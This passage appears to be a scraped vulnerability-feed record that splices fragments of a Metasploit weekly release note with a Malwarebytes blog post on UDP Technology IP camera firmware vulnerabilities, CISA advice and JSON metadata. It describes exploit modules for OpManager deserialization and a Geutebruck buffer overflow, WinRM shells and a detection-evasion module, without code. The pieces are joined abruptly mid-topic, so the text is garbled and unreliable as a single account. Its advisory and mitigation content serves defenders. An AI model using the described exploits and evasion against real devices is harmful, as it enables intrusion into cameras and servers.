For more information on the vulnerability check out the [CISA advisory](<https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03>).\n\n## OpManager exploit is OP plz nerf\n\nOur very own [zeroSteiner](<https://github.com/zeroSteiner>) authored a [module](<https://github.com/rapid7/metasploit-framework/pull/15670>) implementing both an [exploit](<https://attackerkb.com/topics/uFkcCFlzIW/cve-2020-28653?referrer=blog>) and [patch bypass](<https://attackerkb.com/topics/VnQHtC1Y1N/cve-2021-3287?referrer=blog>) for a Java deserialization vulnerability that exists in numerous versions of ManageEngine's OpManager software. This module allows payload execution as either `NT AUTHORITY\\SYSTEM` on Windows or root on Linux. On top of this new module, [zeroSteiner](<https://github.com/zeroSteiner>) made improvements to help utilize the increasingly essential [YSoSerial tool](<https://github.com/frohoff/ysoserial>). You should definitely check it out if you're interested in exploring other Java deserialization vulns.\n\n## Putting the Win in WinRM\n\nIn a big win for Metasploit, community contributor [smashery](<https://github.com/smashery>) finished off their month-long effort to get [fully functional shells working across WinRM!](<https://github.com/rapid7/metasploit-framework/pull/15632>) These new sessions support post modules, NTLMSSP authentication, and are also able to run without a payload in remote memory, making these sessions pretty hard to detect. This is a major improvement over the previous WinRM implementation that only supported execution of a single command, so huge thanks again to [smashery](<https://github.com/smashery>).\n\n## You can tell a lot about a protocol from its handshake\n\nIn one final noteworthy addition, [smashery](<https://github.com/smashery>) has once again come through with a [PR](<https://github.com/rapid7/metasploit-framework/pull/15696>) that significantly improves our RDP library. Metasploit users can now capture the NETBIOS computer name, NETBIOS domain name, DNS computer name, DNS domain name, and OS version from the NTLM handshake carried out over RDP, and our rdp_scanner module has been updated to display this info to all the RDP sniffers out there.\n\n## New module content (3)\n\n * [Direct windows syscall evasion technique](<https://github.com/rapid7/metasploit-framework/pull/15506>) by [Yaz](<https://github.com/kensh1ro>) \\- This adds a new evasion module that uses direct syscalls on 64-bit versions of Windows to evade detection.\n * [Geutebruck instantrec Remote Command Execution](<https://github.com/rapid7/metasploit-framework/pull/15604>) by [Ibrahim Ayadhi - RandoriSec](<https://twitter.com/ayadhiibrahim?lang=en>) and [Titouan Lazard](<https://twitter.com/titouanlazard?lang=en>) \\- RandoriSec, which exploits [CVE-2021-33549](<https://attackerkb.com/topics/kCZ3M8XTgH/cve-2021-33549?referrer=blog>) \\- This module exploits an unauthenticated buffer overflow vulnerability within the `action` parameter of the `/uapi-cgi/instantrec.cgi` endpoint in various Geutebruck G-Cam and G-Code devices.

Arbitrary code execution as the `NT AUTHORITY\\SYSTEM` user on Windows or the `root` user on Linux is achieved by sending a PDU to the SmartUpdateManager handler.\n\n## Enhancements and features\n\n * [#15684](<https://github.com/rapid7/metasploit-framework/pull/15684>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This improves interactive shell performance for pasted user input.\n * [#15696](<https://github.com/rapid7/metasploit-framework/pull/15696>) from [smashery](<https://github.com/smashery>) \\- This updates the RDP scanner module to extract and show additional information gathered from the NTLM handshake used for Network Level Authentication (NLA).\n * [#15632](<https://github.com/rapid7/metasploit-framework/pull/15632>) from [smashery](<https://github.com/smashery>) \\- This improves Metasploit's WinRM capabilities by allowing shell sessions to be established over the protocol. The shell sessions are interactive and are usable with post modules.\n\n## Bugs fixed\n\n * [#15600](<https://github.com/rapid7/metasploit-framework/pull/15600>) from [agalway-r7](<https://github.com/agalway-r7>) \\- This fixes an issue with encrypted payloads during session setup.

According to the researchers the firmware supplier UDP Technology fails to respond to their reports despite numerous mails and LinkedIn messages.\n\nBecause of this unwillingness of UDP Technology to respond, RandoriSec worked with Geutebr\u00fcck, one of the camera vendors, to correct the 11 authenticated RCE vulnerabilities and a complete authentication bypass that they found in the firmware.\n\n### History lessons\n\nRandoriSec had found vulnerabilities in previous versions of the UDP technology firmware and knew from that previous experience that they could expect to be stonewalled when they reported the new vulnerabilities. UDP Technology provides firmware for several IP camera manufacturers, like:\n\n * Geutebruck\n * Ganz\n * Visualint\n * Cap\n * THRIVE Intelligence\n * Sophus\n * VCA\n * TripCorps\n * Sprinx Technologies\n * Smartec\n * Riva\n * and the camera\u2019s they sell under their own brand name.\n\n### CISA\n\nThe Cybersecurity & Infrastructure Security Agency issued an [advisory](<https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03>) about the two Geutebr\u00fcck IP camera types that were confirmed to be vulnerable, the G-Cam E2 and G-Code.\n\nThe CISA advisory includes the [CVE identifiers](<https://blog.malwarebytes.com/glossary/cve-identifier/>) for the found vulnerabilities. Publicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database.

And it should not come as a surprise that public exploits are available.\n\nEven an attacker having access to your live-stream can be bad enough, but an attacker that has full control of your IP camera is even worse. And, what's more, a combination of the unauthorized access and some of the RCE vulnerabilities can allow an attacker to achieve root on the IP cameras that are running on the vulnerable firmware.\n\n### Mitigation\n\nFor the mentioned Geutebr\u00fcck cameras, a patch is [available](<https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F&data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D&reserved=0>) (Login required) and should be installed as soon as possible. Users are urgently recommended to update to firmware Version 1.12.14.7 or later. Geutebr\u00fcck worked with RandoriSec to make sure their patch fixes the vulnerabilities.\n\nFor users of other IP cameras we can not do much more than to recommend to either disable/replace the cameras and certainly query the vendors to find out whether their cameras suffer from the same vulnerabilities.\n\nAs a general advice for users of [IoT](<https://blog.malwarebytes.com/101/2017/12/internet-things-iot-security-never/>) devices, you can follow these CISA recommendations:\n\n * Change the default passwords of the cameras.\n * Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the Internet.\n * Locate control system networks and remote devices behind firewalls and isolate them from the business network.\n * When remote access is required, use secure methods, such as virtual private networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that a VPN is only as secure as the connected devices.\n\nVendors of the IP cameras running UDP Technology firmware are encouraged to ask some serious questions about the development of the firmware and why UDP Technology chooses not to work with security researchers in a way that benefits all the IP camera vendors instead of only the one working with the researchers. Geutebr\u00fcck users know which types are vulnerable and can remedy the vulnerabilities by installing a patch. Users of the other brands are left guessing, from reading between the lines in the RandoriSec blogpost, we fear the worst.\n\nFor a complete technical analysis of how the researchers found the vulnerabilities, you are encouraged to read the [RadoriSec blog](<https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/>) about it.\n\nThe post [UDP Technology IP Camera firmware vulnerabilities allow for attacker to achieve root](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/udp-technology-ip-camera-firmware-vulnerabilities-allow-for-attacker-to-achieve-root/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-07-28T13:04:39", "type": "malwarebytes", "title": "UDP Technology IP Camera firmware vulnerabilities allow for attacker to achieve root", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-33543", "CVE-2021-33544", "CVE-2021-33545", "CVE-2021-33546", "CVE-2021-33547", "CVE-2021-33548", "CVE-2021-33549", "CVE-2021-33550", "CVE-2021-33551", "CVE-2021-33552", "CVE-2021-33553", "CVE-2021-33554"], "modified": "2021-07-28T13:04:39", "id": "MALWAREBYTES:9B3D79CAF7E799FA5C5583B0FFCAB466", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/udp-technology-ip-camera-firmware-vulnerabilities-allow-for-attacker-to-achieve-root/", "cvss": {"score": 0.0, "vector": "NONE"}}], "ics": [{"lastseen": "2022-04-26T21:42:34", "description": "## 1\\.
